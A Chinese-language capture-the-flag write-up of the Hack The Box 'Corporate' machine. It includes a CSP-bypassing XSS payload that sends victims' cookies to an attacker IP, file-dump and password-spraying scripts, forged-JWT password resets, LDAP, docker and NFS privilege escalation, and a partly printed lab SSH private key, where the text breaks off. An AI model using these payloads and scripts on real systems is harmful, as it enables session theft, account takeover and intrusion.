MANESEC on 2024-01-01
Recommend: Let's Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
PWN for 4 days.
# nmap
$ sudo nmap -sS -sC -sV -oA nmap --min-rate=1000 -vv -T5 10.129.xx.xx
80/tcp open http syn-ack ttl 63 OpenResty web app server 1.21.4.3
|_http-server-header: openresty/1.21.4.3
|_http-title: Did not follow redirect to http://corporate.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
看到有domain,隨手ffuf一下。
ffuf -u "http://10.129.xx.xx" -H "Host: FUZZ.corporate.htb" -w /Tools/Wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 175
[Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 151ms]
* FUZZ: support
[Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 163ms]
* FUZZ: git
[Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 171ms]
* FUZZ: sso
[Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 157ms]
* FUZZ: people隨手加入到hosts。
GIT 永遠都是 403
看到有機器人,好像在對話,最容易想到的就是XSS攻擊,所以測試下XSS是否工作。
Rabbit Hole: CSWSH 其實在這裏不會工作。
隨手輸入 <img src="asdaa"/> 結果變成了一張裂開的圖片,説明這裏可以xss攻擊。
看這段 http 頭,可以看到有一個 unsafe-inline,
Content-Security-Policy
base-uri 'self'; default-src 'self' http://corporate.htb http://*.corporate.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://maps.googleapis.com https://maps.gstatic.com; font-src 'self' https://fonts.googleapis.com/ https://fonts.gstatic.com data:; img-src 'self' data: maps.gstatic.com; frame-src https://www.google.com/maps/; object-src 'none'; script-src 'self'unsafe-inline: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
因爲這裏有 unsafe-inline ,所以不可以直接xss到遠程(類似:script src="http://mane/exp.js" ),CSP會檢查js的目的地是哪裏。
但是如果是使用了unsafe-inline ,CSP允許使用内部的函數跳轉,但不可以直接在html使用<script>alert(1);</script>,允許<script src="http://localhost/a.js"> <script/>,所以就要把命令注入到某個js文件,這些js通常都是動態的,用它自身的脚本的函數去跳轉。
support.corporate.htb 似乎沒有找到比較感興趣的js文件,不過來到 http://corporate.htb
現在有一堆js,我們只允許修改 v= 後面的内容,就有機會注入到js裏面,然後就有機會向裏面注入函數。
正常情況下,js一般都是靜態文件,如下:
但是 http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js? 會修改内容
也就是説這個脚本有機會利用注入。
放到這裏 https://deobfuscate.relative.im/ 反混淆看一下。
const Analytics = _analytics.init({
app: 'corporate-landing',
version: 100,
plugins: [
{
name: 'corporate-analytics',
page: ({ payload: _0x401b79 }) => {
fetch('/analytics/page', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(_0x401b79),
})
},
track: ({ payload: _0x930340 }) => {
fetch('/analytics/track', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(_0x930340),
})
},
identify: ({ payload: _0x5cdcc5 }) => {
fetch('/analytics/init', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(_0x5cdcc5),
})
},
},
],
})
Analytics.identify(mane.toString())
Analytics.page()
Array.from(document.querySelectorAll('a')).forEach((_0x40e926) => {
_0x40e926.addEventListener('click', () => {
Analytics.track('click', {
text: _0x40e926.textContent,
href: _0x40e926.href,
})
})
})
document.getElementById('form-submit') &&
document.getElementById('form-submit').addEventListener('click', () => {
Analytics.track('sup-sent')
})
從上面可以看到 mane 直接調用了函數名
然後觀察這個網頁,居然也存在XSS注入,如果寫入 <script>alert(1);</script>
正如上面所説,CSP允許使用内部的函數跳轉,但不可以直接在html使用<script>alert(1);</script>,允許<script src="http://localhost/a.js"> <script/>。
第一次嘗試,强行加載壞壞的js讓他彈個框看看。
因爲mane是可以控制的,輸入 ); alert(111111); // 就會變成右邊那個樣子
複製這堆東西貼入主頁就知道工不工作了。
然後慢慢去調整payload,要不就少了個左括號,要不就少了個數字。直到出現了另一個函數錯誤就説明對齊成功了,這個時候把他輸入到主頁看看。
調整完成的payload如下: 1));alert(111111);//
如下:http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));alert(111111);//
const Analytics = _analytics.init({
app: 'corporate-landing',
version: 100,
plugins: [
{
name: 'corporate-analytics',
page: ({ payload: _0x401b79 }) => {
fetch('/analytics/page', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(_0x401b79),
})
},
track: ({ payload: _0x930340 }) => {
fetch('/analytics/track', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(_0x930340),
})
},
identify: ({ payload: _0x5cdcc5 }) => {
fetch('/analytics/init', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(_0x5cdcc5),
})
},
},
],
})
Analytics.identify(1)
alert(111111)可以看到32行多出了一個 alert。
如果貼入到,看到_analytics 函數未定義,所以在之前還要再加載一個js去定義_analytics 函數 <script src="/vendor/analytics.min.js"></script> 。
完整的payload如下:<script src="/vendor/analytics.min.js"></script> <script src="http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));alert(111111);//"></script>
測試:http://corporate.htb/<script src="/vendor/analytics.min.js"></script><script src="http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));alert(111111);//"></script>
但是我們的目的是XSS攻擊,所以要嘗試跳轉。
因爲雙引號和單引號會搞亂我們的payload,所以盡可能不適用單引號和雙引號,所以用一些巧妙的方法去跳轉。
跳轉測試:http://corporate.htb/<script src="/vendor/analytics.min.js"></script><script src="http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,49,55,47);//"></script>
加上cookie : http://corporate.htb/<script src="/vendor/analytics.min.js"></script><script src="http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,49,55,47).concat(btoa(document.cookie));//"></script>
僞造一個類似 iframe 的東西 <meta http-equiv="refresh" content="0; url=xxxxxxxxxxxx"/>
把上面的payload換成單引號,如下:
<meta http-equiv="refresh" content="0; url=http://corporate.htb/<script src='/vendor/analytics.min.js'></script><script src='/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,49,55,47).concat(btoa(document.cookie));//'></script>"/>base64 解密一下,得到:
CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MCwibmFtZSI6Ikhlcm1pbmEiLCJzdXJuYW1lIjoiTGV1c2Noa2UiLCJlbWFpbCI6Ikhlcm1pbmEuTGV1c2Noa2VAY29ycG9yYXRlLmh0YiIsInJvbGVzIjpbInNhbGVzIl0sInJlcXVpcmVDdXJyZW50UGFzc3dvcmQiOnRydWUsImlhdCI6MTcwMzA4MzYyOSwiZXhwIjoxNzAzMTcwMDI5fQ.9AzZ_SOJItfAZWY-v52pFntKEkodncV1ZiG7P76NyI0
jwt.io 一下看看:
{
"id": 5077,
"name": "Cecelia",
"surname": "West",
"email": "Cecelia.West@corporate.htb",
"roles": [
"sales"
],
"requireCurrentPassword": true,
"iat": 1703320635,
"exp": 1703407035
}這個時候我在好奇一件事情,爲什麽id是5077,所以打算再獲取多一次看看。
{
"id": 5074,
"name": "Nora",
"surname": "Brekke",
"email": "Nora.Brekke@corporate.htb",
"roles": [
"sales"
],
"requireCurrentPassword": true,
"iat": 1703323373,
"exp": 1703409773
}拿到了兩個用戶,嘗試登陸進去看看
清除掉所有cookie,然后把上列的cookie加入到 people.corporate.htb 就可以访问
記得這裏的Path 是 /
來到文件分享,
感覺share的功能怪怪的,
只有目的地,沒有一開始的聯係人。
如果自己分享給自己
就會報錯,但如果分享給另一個用戶倒是沒有報錯。
現在獲得了兩個用戶,用無痕瀏覽器去加載另一個用戶,嘗試分享不存在的文件
是不是有這個漏洞。
結果有,也就是說這個api只是檢查email那個是不是自己,并不檢查文件的所有者。
因爲不能分享給自己,可以分享給別人,這樣我只要無限分享給別人,FUZZ一下就可以列出所有文件了。
# 建立一個 0 - 10000的字典
for x in {1..10000}; do echo $x >> fuzzdict.txt ; done
# 修改fileId變成想要的FUZZ的地方
vim req
# ffuf times
ffuf -request req -w fuzzdict.txt -request-proto http得到大量的文件
嘗試把所有的文件給dump出來
import requests
from pathlib import Path
OUTPUT_DIR = "out"
for x in range(1,10000):
burp0_url = "http://people.corporate.htb:80/sharing/file/%s" % (x)
burp0_cookies = {"CorporateSSO": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA2OSwibmFtZSI6IkphbW1pZSIsInN1cm5hbWUiOiJDb3JrZXJ5IiwiZW1haWwiOiJKYW1taWUuQ29ya2VyeUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzAzMTQyNDUwLCJleHAiOjE3MDMyMjg4NTB9.6vRoHJRzdLy1KFmbXMS1b-YcR0vBpq9ohYQaozt4bGg", "session": "eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=", "session.sig": "6ZFyxwEHrjOf9vL2-OgzXPQb8hE"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://people.corporate.htb/sharing", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
req = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
if (req.status_code == 200):
read_header = (req.headers["Content-Disposition"])
filename = read_header[read_header.find("filename")+10: -1]
print("[*] %s : Found %s ..." % (x,filename))
if not Path(OUTPUT_DIR).exists():
Path(OUTPUT_DIR).mkdir()
with open(OUTPUT_DIR + "/" + filename, "wb") as f:
f.write(req.content)
f.close()有個PDF文件,打開看看
這裏的提示是初始密碼是:CorporateStarterDDMMYYYY ,生日在系統上就可以獲得。
然後ID是5000開始,所以開始dump 所有的email 和 生日,做成一個字典。
import datetime
save = open('save.txt','w',encoding='utf-8')
for x in range(5001,6000):
import requests
burp0_url = "http://people.corporate.htb:80/employee/%s" % x
burp0_cookies = {"CorporateSSO": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NywibmFtZSI6IkNlY2VsaWEiLCJzdXJuYW1lIjoiV2VzdCIsImVtYWlsIjoiQ2VjZWxpYS5XZXN0QGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDMzMjA2MzUsImV4cCI6MTcwMzQwNzAzNX0.Ohap3nxoaSakVhDokLZhsst7Sr0OZq82JGMWEP9S2uI", "session": "eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=", "session.sig": "qf5ADYsgWjTRf8WUjJAj9HEYS20"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "If-None-Match": "W/\"e93-FDIeVpj05tAMRIoL007GQHMSxSA\""}
req = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
if (req.status_code == 200):
print("Found: "+str(x))
data = (req.text)
f = '<table class="table">'
table_begin = data.find(f) + len(f)
table_end = data.find("</table>",table_begin)
table = data[table_begin:table_end]
f = 'About Me'
about_begin = table.find('<td>',table.find(f)) + len('<td>')
about_end = table.find('</td>',about_begin)
about = table[about_begin:about_end]
about = about.strip()
print(about)
f = 'Roles'
about_begin = table.find('<td>',table.find(f)) + len('<td>')
about_end = table.find('</td>',about_begin)
roles = table[about_begin:about_end]
roles = roles.strip()
print(roles)
f = 'Email'
about_begin = table.find('mailto:',table.find(f)) + len('mailto:')
about_end = table.find('">',about_begin)
email = table[about_begin:about_end]
email = email.strip()
print(email)
f = 'Birthday'
about_begin = table.find('<td>',table.find(f)) + len('<td>')
about_end = table.find('</td>',about_begin)
birth = table[about_begin:about_end]
birth = birth.strip()
print(birth)
dt = datetime.datetime.strptime(birth, "%m/%d/%Y")
passwd = "CorporateStarter" + dt.strftime('%d%m%Y')
print(passwd)
save.writelines("%s|%s\n" % (email,passwd))
save.close()然後用cut 切分成 user.txt 和 pass.txt
有個很神奇的VPN文件,下載下來,連進去看看,
$ ip a
6: tun1: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.8.0.2/24 scope global tun1
valid_lft forever preferred_lft forever
inet6 fe80::d4c0:72df:eb08:2b6b/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
$ ip r
10.9.0.0/24 via 10.8.0.1 dev tun1得到一個 10.9.0.0 的子網,所以nmap掃一下。
Nmap scan report for 10.9.0.1
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open http syn-ack ttl 64 OpenResty web app server 1.21.4.3
|_http-title: Did not follow redirect to http://corporate.htb
|_http-server-header: openresty/1.21.4.3
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
389/tcp open ldap syn-ack ttl 64 OpenLDAP 2.2.X - 2.3.X
636/tcp open ssl/ldap syn-ack ttl 64 OpenLDAP 2.2.X - 2.3.X
2049/tcp open nfs syn-ack ttl 64 4 (RPC #100003)
3128/tcp open http syn-ack ttl 64 Proxmox Virtual Environment REST API 3.0
|_http-server-header: pve-api-daemon/3.0
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelNmap scan report for 10.9.0.4
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2023-12-23 17:50:22 CST for 30s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2f:b1:d4:7c:ac:3a:2c:b1:ee:ee:6f:7f:df:41:29:c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJkbxANx1rZ6NNOJ9G1R4JD6Og90NJTtookOgtQm0gHJnEaqbj45AQl2+Bi2SXeaZ6LGEC5qyDBAqKYxNtTjVj8=
| 256 f0:25:8e:11:26:bd:f3:78:65:59:32:c3:55:7e:99:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWClTzw/n5oewn15Bnl1DrML3uQLA0XgCzgjy4ySD5v
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel從結果上可以猜到 10.9.0.1 是PVE的,10.9.0.4 應該是宿主主機,
果不其然,然後發現兩個機器有ssh,使用上面發現的字典,暴力破解times!
$ crackmapexec ssh 10.9.0.1 -u user.txt -p pass.txt --continue-on-success --no-bruteforce $ crackmapexec ssh 10.9.0.4 -u user.txt -p pass.txt --continue-on-success --no-bruteforce
10.9.0.1 什麽也沒有,10.9.0.4倒是有幾個賬號,所以登陸進去看看。
SSH 10.9.0.4 22 10.9.0.4 [+] elwin.jones:CorporateStarter04041987 SSH 10.9.0.4 22 10.9.0.4 [+] laurie.casper:CorporateStarter18111959 SSH 10.9.0.4 22 10.9.0.4 [+] nya.little:CorporateStarter21061965 SSH 10.9.0.4 22 10.9.0.4 [+] brody.wiza:CorporateStarter14071992
拿到 user.txt
elwin.jones@corporate-workstation-04:~$ sudo -s
[sudo] password for elwin.jones:
elwin.jones is not in the sudoers file. This incident will be reported.
elwin.jones@corporate-workstation-04:~$ id
uid=5021(elwin.jones) gid=5021(elwin.jones) groups=5021(elwin.jones),503(it)通過搜索發現一個神奇的地方:
看到其他三個賬號都沒有這個文件夾,只有這個賬號有,所以打包下來,放到本地。
然後進去自己的火狐文件夾,把上面的文件全部複製到本地,
cp -rf /home/mane/Corporate/browser/home/guests/elwin.jones/.mozilla/firefox/tr2cgmb6.default-release/* .瀏覽器打開後下載bitwarn,就看到需要輸入pin
網上找一下pin的爆破,可以看到它成功的爆破四位數字,找到了這篇:https://ambiso.github.io/bitwarden-pin/
git clone https://github.com/ambiso/bitwarden-pin bitwarden-pin
cd bitwarden-pin 通過源碼可以看見,他需要 data.json。
所以可以對插件進行 Inspector,得到 data.json
把 view-source: 去掉,在控制臺輸入如下代碼:
chrome.storage.local.get(null, function(data) {console.log(data);})右鍵複製object,然後保存到 data.json 即可。
從文件可以看到,他是迭代 600000,所以要該脚本
把 100000改成 600000
然後改一下前面載入的文件
跑一下,得到 0239,然後輸入到插件,
得到密碼和TOTP。
把 host 對準 10.9.0.1 git.corporate.htb,進入内網。
JWT_SECRET=09cb527651c4bd385483815627e6241bdf40042a因爲有了JWT_SECRET可以僞造任意的cookie啦,
gitea有三個項目,所以思考下裏面的源碼寫了什麽,有沒有漏洞。
感興趣的地方 #1
http://git.corporate.htb/CorporateIT/corporate-sso/src/branch/master/src/utils.ts
不允許修改關於sysadmin組的密碼。
感興趣的地方 #2
http://git.corporate.htb/CorporateIT/corporate-sso/src/branch/master/src/app.ts
如果 jwt 的 requireCurrentPassword 是 false 的情況下,就可以不需要當前賬號的密碼。
似乎可以在 http://sso.corporate.htb/reset-password 修改任何賬戶的密碼,除了 sysadmin 組。
問題是需要改哪個高價值的用戶?
枚舉了半天,發現docker的權限怪怪的。
elwin.jones@corporate-workstation-04:~$ docker ps -a
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
elwin.jones@corporate-workstation-04:~$ ls -lah /var/run/docker.sock
srw-rw---- 1 root engineer 0 Jan 4 10:27 /var/run/docker.sockengineer 似乎有權限使用docker,因爲只要有權限使用docker就可以快速拿到root。
然後隨便挑選一個用戶僞造cookie去修改用戶密碼。
{"id":5070,"name":"ward","surname":"pfannerstill","email":"Hermina.Leuschke@corporate.htb","roles":["sales"],"requireCurrentPassword":false,"iat":1703083629,"exp":1735716461}使用這個cookie去登錄
快樂的修改密碼,完事后,
果然可以使用docker權限。
爲了方便我寫了個脚本去修改密碼
import jwt,json import base64,sys # Example # python3 change.pyprint("[POWER BY MANE]") changepassword = "powerbymane" if len(sys.argv) != 3: print("[!] Usage: python3 change.py ") exit(0) # 0x1 Craft JWT Token name = sys.argv[1] surname = sys.argv[2] print("[*] name = " + name) print("[*] surName = " + surname) payload = """{ "id": 5070, "name": "%s", "surname": "%s", "email": "Hermina.Leuschke@corporate.htb", "roles": [ "sales" ], "requireCurrentPassword": false, "iat": 1703083629, "exp": 1735716461 } """ % (name,surname) cookie = jwt.encode(json.loads(payload), '09cb527651c4bd385483815627e6241bdf40042a', algorithm='HS256') print("[*] Cookie = " + cookie) # 0x2 Send Request import requests burp0_url = "http://sso.corporate.htb:80/reset-password" burp0_cookies = {"CorporateSSO": cookie} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://sso.corporate.htb", "Connection": "close", "Referer": "http://sso.corporate.htb/reset-password", "Upgrade-Insecure-Requests": "1"} burp0_data = {"newPassword": changepassword, "confirmPassword": changepassword} return_html = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text # 0x3 get result print() from lxml import html xml = html.fromstring(return_html) x = xml.xpath("//div[contains(@class, 'alert')]")[0] print("[!] Server Return: " + x.text_content())
因爲裏面的docker什麽也沒有,
然後就想辦法import 一個image,參考了docker的save and load大法:
https://docs.docker.com/engine/reference/commandline/save/
https://docs.docker.com/engine/reference/commandline/load/
所以在本地製作一個image先
docker pull alpine:latest docker save alpine:latest | gzip > mane.tar.gz
然後上傳到對面的機器
docker load < mane.tar.gz
然後就是基本操作。
因爲我有了賬號,其實我可以去ldap看看有什麽。
$ ldapsearch -H ldap://10.9.0.1 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: dc=corporate,dc=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1得到 namingContexts 是 dc=corporate,dc=htb
從官網介紹中可以看到 user 是 uid https://www.openldap.org/doc/admin21/intro.html,
這裏盲猜ou是 ou=users(經過反復試出來的)
$ ldapsearch -D 'uid=elwin.jones,ou=users,dc=corporate,dc=htb' -w 'CorporateStarter04041987' -H ldap://10.9.0.1 -x -b "dc=corporate,dc=htb" | tee ldap.log
# extended LDIF
#
# LDAPv3
# base <dc=corporate,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# corporate.htb
dn: dc=corporate,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: corporate
dc: corporate
# Users, corporate.htb
dn: ou=Users,dc=corporate,dc=htb
objectClass: organizationalUnit
ou: Users
# Groups, corporate.htb
dn: ou=Groups,dc=corporate,dc=htb
objectClass: organizationalUnit
ou: Groupsquery 自身的一下ID看看
$ ldapsearch -D 'uid=elwin.jones,ou=users,dc=corporate,dc=htb' -w 'CorporateStarter04041987' -H ldap://10.9.0.1 -x -b "uid=elwin.jones,ou=users,dc=corporate,dc=htb" | tee ldap.log
# extended LDIF
#
# LDAPv3
# base <uid=elwin.jones,ou=users,dc=corporate,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# elwin.jones, Users, corporate.htb
dn: uid=elwin.jones,ou=Users,dc=corporate,dc=htb
uid: elwin.jones
uidNumber: 5021
gidNumber: 5021
objectClass: top
objectClass: person
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
objectClass: corpPerson
cn: Elwin Jones
givenName: Elwin
sn: Jones
mail: elwin.jones@corporate.htb
shadowLastChange: 16890
shadowMin: 0
shadowMax: 99999
shadowWarning: 14
shadowInactive: 3
loginShell: /bin/bash
homeDirectory: /home/guests/elwin.jones
labeledURI: ldap:///ou=Groups,dc=corporate,dc=htb??sub?(&(objectclass=posixgro
up)(memberuid=elwin.jones))
userPassword:: e1NTSEF9VmtGOTVrYzdPZGZNKzgvbzVVNmZrckRLTzgzM0o4dHo=
corpMemberOf: cn=it,ou=Groups,dc=corporate,dc=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1嘗試寫一下ldap,修改gid看看,因爲sudo有可能綁定了gid
$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
......
tape:x:26:
sudo:x:27:
audio:x:29:
......可以看到 sudo group 在 27
首先要新建一個文件,
elwin.jones@corporate-workstation-04:~$ cat mane.diff
dn: uid=elwin.jones,ou=users,dc=corporate,dc=htb
changetype: modify
replace: gidNumber
gidNumber: 27然後 ldapmodify,
elwin.jones@corporate-workstation-04:~$ ldapmodify -vx -W -f mane.diff -D 'uid=elwin.jones,ou=users,dc=corporate,dc=htb' -H ldap://10.9.0.1 -x
ldap_initialize( ldap://10.9.0.1:389/??base )
Enter LDAP Password:
replace gidNumber:
27
modifying entry "uid=elwin.jones,ou=users,dc=corporate,dc=htb"
modify complete可以看到居然可以成功,
然後 sudo -s
如果有上面提示的話就要重新登陸一下ssh。
因爲看到有nfs,所以mount 一下看看
原來home目錄是遠程挂載,
The NFS protocol has no mechanism for authentication or authorization. The authorization is taken from the available information of the file system where the server is responsible for translating the user information supplied by the client to that of the file system and converting the corresponding authorization information as correctly as possible into the syntax required by UNIX.
The most common authentication is via UNIX UID/GID and group memberships, which is why this syntax is most likely to be applied to the NFS protocol. One problem is that the client and server do not necessarily have to have the same mappings of UID/GID to users and groups. No further checks can be made on the part of the server. This is why NFS should only be used with this authentication method in trusted networks.
https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting
也就是説nfs只認主機,儅拿到了root,就意味著你可以去你想去的地方,乾脆把他mount過來看看。
$ mount.nfs 10.9.0.1:/ /tmp/mane -o nolock
可以看到只是挂載了home目錄。
這個時候去找想要的用戶,再次通過ldap,
可以看到有兩個用戶在 sysadmin 的組裏面,第一個是 amie.torphy 和 stevie.rosenbaum ,然後可以根據hacktricks的提示,切換uid即可以進去。
找到了一個 id_rsa 文件,嘗試用這個文件登錄 PVE。
成功了,這樣就把這個id_rsa給dump下來。
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEApgZFFMMTgdnbECiJXbV85jXxOV9yZNRaLHIfNFfeJJMSQRLC7YEx
E3IyKXIUzLzbHtNgwcbBkDU0DZI2VJhPNWqIETfyrAxnSJ4mUaRdVYHm2HQ5NMWSWW/Vlg
5ci1+DO+oOpyvLBMxNwmzy7dIEkR2XO81W6Aik3WFbSYOCv5f9s/HYEi+6MGYr1Iu+Txqt
ZpjBN7qFXjNngGmG827I/I72Yu/X4yiNKRgmKpzBx0SLySALCa3FI0PJGr4HN12cXeZDGA
xnQ06WM6H4ktS87Qhe+rBduuuMpFVA5kPV3/UrnfJdqLcmWefcvSryRtWuMf5tUdkHiYJY
J6pR8RfbtiH9uEjwemd73Fcuwqu31imG+AYh9l5/BbM0k8cKOd1ldBbNHd0XQhssjgELJF
wMGMC+4WmcB+i1LpKKXw1HIww8cRaONwUUlAq2K5qoP88Fbf26auZ4pdJAzf+9D7a7k07J
o26NFAUW80Wghrca0slQyuXVO5qcJNp6inzCsbodAAAFoGkiCHJpIghyAAAAB3NzaC1yc2
EAAAGBAKYGRRTDE4HZ2xAoiV21fOY18TlfcmTUWixyHzRX3iSTEkESwu2BMRNyMilyFMy8
2x7TYMHGwZA1NA2SNlSYTzVqiBE38qwMZ0ieJlGkXVWB5th0OTTFkllv1ZYOXItfgzvqDq
crywTMTcJs8u3SBJEdlzvNVugIpN1hW0mDgr+X/bPx2BIvujBmK9SLvk8arWaYwTe6hV4z
Z4BphvNuyPyO9mLv1+MojSkYJiqcwcdEi8kgCwmtxSNDyRq+BzddnF3mQxgMZ0NOljOh+J
LUvO0IXvqwXbrrjKRVQOZD1d/1K53yXai3Jlnn3L0q8kbVrjH+bVHZB4mCWCeqUfEX27Yh
/bhI8Hpne9xXLsKrt9YphvgGIfZefwWzNJPHCjndZXQWzR3dF0IbLI4BCyRcDBjAvuFpnA
fotS6Sil8NRyMMPHEWjjcFFJQKtiuaqD/PBW39umrmeKXSQM3/vQ+2u5NOyaNujRQFFvNF
oIa3GtLJUMrl1TuanCTaeop8wrG6HQAAAAMBAAEAAAGAEeK8h/VREWzbFvVLASOnYjSe+V
+RNxASa9XaizzJE3cdoRGImuYPV6k2grUFzR2uXHaIpq+HFEZLBohBHqFu7RH+OR6mH8dR
TCcveR2kKW1OZXS14fvD3as43wrKiQA/5tE7BWLoIurwmJi8ngbBU7HUpE5lhadCvY+6si
N/Dy1sWTmdXa4zGHo1UBdC6Ao3coVT0XFgY0rV5GVZ8rk1YVH0dKmigBgTBwGRQQd0r8cw
aPkw/zivc3JexKkCpYIJxSW/vu6tIYhiMqKL2dnNlm4FaHoyMz3MeH9IJ/z6HwM6B0yiVR
vZ9L7LrzppeI6gcF36n1TFplLOal5V1MkuYOpKP7TtEFdB4qx00hsJae7lrjE195eD2jR7
SaysdFlf7Z6c7ahbhT2xBJA73rw9up5w8Jp9pgMZm554HTO6Q3KndLzhGDMKBAqk3vrhey
EzNnGRgoRbQ4Rp/MrwfGfrb7TqJ1mY5eN0cfhRRPdldUhf+/K5zJ+L9O38Xd7ARjrhAAAA
wQCt+0kqxiHjIvVua2jCfpx4tb5mPFVuMDAr0e/FFLV9Ibk1AxBXPag2Kgw7V8HWQkoiIS
